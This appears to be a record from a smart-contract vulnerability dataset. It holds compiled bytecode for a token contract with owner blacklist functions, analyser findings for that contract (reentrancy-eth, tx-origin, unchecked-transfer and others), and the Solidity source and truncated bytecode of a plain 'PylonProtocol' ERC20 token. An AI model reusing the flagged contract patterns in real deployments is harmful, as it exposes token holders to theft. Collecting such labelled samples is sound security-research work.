f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b0316610734610ee5565b6001600160a01b03161461075a5760405162461bcd60e51b81526004016104ef90611eca565b6001600160a01b038216600090815260036020526040902054600180548290811061079557634e487b7160e01b600052603260045260246000fd5b9060005260206000200154915050919050565b6000546001600160a01b031690565b606060088054610408906120eb565b6000546001600160a01b03166107da610ee5565b6001600160a01b0316146108005760405162461bcd60e51b81526004016104ef90611eca565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b0316610835610ee5565b6001600160a01b03161461085b5760405162461bcd60e51b81526004016104ef90611eca565b600c5460ff161561087e5760405162461bcd60e51b81526004016104ef90611da2565b600a5447906108a09030906001600160a01b0316678ac7230489e80000610ee9565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ee57600080fd5b505afa158015610902573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109269190611b6b565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098357600080fd5b505afa158015610997573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bb9190611b6b565b6040518363ffffffff1660e01b81526004016109d8929190611cef565b602060405180830381600087803b1580156109f257600080fd5b505af1158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2a9190611b6b565b6009805462010000600160b01b031916620100006001600160a01b0393841602179055600a541663f305d7198230610a6181610680565b60008033426040518863ffffffff1660e01b8152600401610a8796959493929190611d09565b6060604051808303818588803b158015610aa057600080fd5b505af1158015610ab4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ad99190611c74565b5050600954600a5460405163095ea7b360e01b81526001600160a01b03620100009093048316935063095ea7b392610b1992169060001990600401611cd6565b602060405180830381600087803b158015610b3357600080fd5b505af1158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190611c3c565b50600d5460405163095ea7b360e01b81526001600160a01b039091169063095ea7b390610ba090309060001990600401611cd6565b602060405180830381600087803b158015610bba57600080fd5b505af1158015610bce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf29190611c3c565b5050436014556009805460ff9092166101000261ff0019909216919091179055600c805460ff19166001179055565b600061049f610c2e610ee5565b84846111a1565b6001600160a01b03166000908152600f602052604090205460ff1690565b6000546001600160a01b0316610c67610ee5565b6001600160a01b031614610c8d5760405162461bcd60e51b81526004016104ef90611eca565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b60145481565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6000546001600160a01b0316610cf6610ee5565b6001600160a01b031614610d1c5760405162461bcd60e51b81526004016104ef90611eca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316610d8b610ee5565b6001600160a01b031614610db15760405162461bcd60e51b81526004016104ef90611eca565b6009546001600160a01b0382811662010000909204161415610de55760405162461bcd60e51b81526004016104ef90611eff565b6001600160a01b038116301415610e0e5760405162461bcd60e51b81526004016104ef90611e52565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b600061060f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135f565b600080610e81838561207d565b90508381101561060f5760405162461bcd60e51b81526004016104ef90611e1b565b600061060f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611325565b3390565b6001600160a01b038316610f0f5760405162461bcd60e51b81526004016104ef90611f7b565b6001600160a01b038216610f355760405162461bcd60e51b81526004016104ef90611dd9565b6001600160a01b0380841660008181526012602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610f90908590611ff6565b60405180910390a3505050565b6000546001600160a01b0316610fb1610ee5565b6001600160a01b031614610fd75760405162461bcd60e51b81526004016104ef90611eca565b6001600160a01b038216600090815260036020526040902054806110c357600454612904906110069084610e74565b111561101157600080fd5b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018390556002805480830182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b038616179055805461109591906120d4565b6001600160a01b0384166000908152600360205260409020556004546110bb9083610e74565b60045561117d565b6000600182815481106110e657634e487b7160e01b600052603260045260246000fd5b906000526020600020015490506129046111158261110f86600454610e7490919063ffffffff16565b90610ea3565b111561112057600080fd5b826001838154811061114257634e487b7160e01b600052603260045260246000fd5b60009182526020909120015560045461116190829061110f9086610e74565b6004558261117b57600554611177906001610ea3565b6005555b505b811561119c57600160056000828254611196919061207d565b90915550505b505050565b6001600160a01b0383166111c75760405162461bcd60e51b81526004016104ef90611f36565b600081116111e75760405162461bcd60e51b81526004016104ef90611fbf565b6001600160a01b0383166000908152600f602052604090205460ff1615801561122957506001600160a01b0382166000908152600f602052604090205460ff16155b80156112455750326000908152600f602052604090205460ff16155b61124e57600080fd5b60095460145443916112699161010090910460ff169061207d565b106112a55761127661138d565b811161128157600080fd5b600c546112a090849061010090046001600160a01b03168360006113a3565b61119c565b6112ae82611492565b156112c957600b546112bf83610680565b106112c957600080fd5b60006112d584846114ca565b15611313576112e48484611511565b156112fd576112f161138d565b8211156112fd57600080fd5b61130884848461156e565b90506113138461160a565b61131f848484846113a3565b50505050565b600081848411156113495760405162461bcd60e51b81526004016104ef9190611d4f565b50600061135684866120d4565b95945050505050565b600081836113805760405162461bcd60e51b81526004016104ef9190611d4f565b5060006113568486612095565b60006004600b5461139e9190612095565b905090565b60006113af8383610ea3565b6001600160a01b0386166000908152601160205260409020549091506113d59084610ea3565b6001600160a01b0380871660009081526011602052604080822093909355908616815220546114049082610e74565b6001600160a01b0385166000908152601160205260408082209290925530815220546114309083610e74565b306000908152601160205260409081902091909155516001600160a01b0385811691908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611483908590611ff6565b60405180910390a35050505050565b6009546000906001600160a01b038381166201000090920416148015906104a3575050600a546001600160a01b039081169116141590565b6001600160a01b03821660009081526010602052604081205460ff168061150957506001600160a01b03821660009081526010602052604090205460ff165b159392505050565b6009546000906001600160a01b0384811662010000909204161480156115455750600a546001600160a01b03838116911614155b801561060f5750506001600160a01b031660009081526010602052604090205460ff1615919050565b6001600160a01b038316600090815260106020526040812054819060ff16806115af57506001600160a01b03841660009081526010602052604090205460ff165b156115bb57905061060f565b6115e46115dd6115c961163b565b6016546115d7908790610e32565b90611641565b8290610e74565b90506113566115dd601654611604600e548761164190919063ffffffff16565b90610e32565b61161381611686565b1561163857600061162330610680565b905061162e816116b3565b61163661184f565b505b50565b60045490565b600082611650575060006104a3565b600061165c83856120b5565b9050826116698583612095565b1461060f5760405162461bcd60e51b81526004016104ef90611e89565b60155460009060ff161580156104a35750506009546201000090046001600160a01b039081169116141590565b6015805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061170357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561175757600080fd5b505afa15801561176b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178f9190611b6b565b816001815181106117b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600a546117d69130911684610ee9565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061180f908590600090869030904290600401611fff565b600060405180830381600087803b15801561182957600080fd5b505af115801561183d573d6000803e3d6000fd5b50506015805460ff1916905550505050565b6013544790811161186057506118c9565b600061187760135483610ea390919063ffffffff16565b905060006118836118cb565b90506001811015611896575050506118c9565b6118a082826118f6565b6118c16118bc82611604600e548661164190919063ffffffff16565b6119d3565b505047601355505b565b6000806118d96115dd61163b565b90506118f0600e5482610e7490919063ffffffff16565b91505090565b60015b60015481101561119c5760006001828154811061192657634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905060006002838154811061195657634e487b7160e01b600052603260045260246000fd5b60009182526020822001546001600160a01b0316915061197a856116048886611641565b905060018111156119bd576040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156119bb573d6000803e3d6000fd5b505b50505080806119cb90612126565b9150506118f9565b600d60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a2357600080fd5b505af1158015611a37573d6000803e3d6000fd5b5050600d546040516370a0823160e01b8152600094506001600160a01b0390911692506370a082319150611a6f903090600401611cc2565b60206040518083038186803b158015611a8757600080fd5b505afa158015611a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abf9190611c5c565b600d5460095460405163a9059cbb60e01b81529293506001600160a01b039182169263a9059cbb92611afd9262010000900416908590600401611cd6565b602060405180830381600087803b158015611b1757600080fd5b505af1158015611b2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c9190611c3c565b600060208284031215611b60578081fd5b813561060f81612157565b600060208284031215611b7c578081fd5b815161060f81612157565b60008060408385031215611b99578081fd5b8235611ba481612157565b946020939093013593505050565b60008060408385031215611bc4578182fd5b8235611bcf81612157565b91506020830135611bdf81612157565b809150509250929050565b600080600060608486031215611bfe578081fd5b8335611c0981612157565b92506020840135611c1981612157565b929592945050506040919091013590565b60008060408385031215611b99578182fd5b600060208284031215611c4d578081fd5b8151801515811461060f578182fd5b600060208284031215611c6d578081fd5b5051919050565b600080600060608486031215611c88578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cb2578081fd5b813560ff8116811461060f578182fd5b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015611d7b57858101830151858201604001528201611d5f565b81811115611d8c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526018908201527f4c697175696469747920616c72656164792061646465642e0000000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526018908201527f43616e277420626c61636b6c69737420636f6e74726163740000000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f43616e277420626c61636b6c69737420556e6973776170000000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601c908201527f4d757374207472616e736665722067726561746572207468616e203000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561204e5784516001600160a01b031683529383019391830191600101612029565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561209057612090612141565b500190565b6000826120b057634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156120cf576120cf612141565b500290565b6000828210156120e6576120e6612141565b500390565b6002810460018216806120ff57607f821691505b6020821081141561212057634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561213a5761213a612141565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461163857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a09eecab492e135a2558d0990e5b988df30a3aa8b18ddafb7c68c633ceb71c3e64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,632 |
0xfc9de38a58bf3c6b4985734a8bf5946a87a4dd02
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PylonProtocol is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'PYLONPROTCOL';
string private _symbol = 'PylonProtocol';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173fffffffffffffffffffffffffff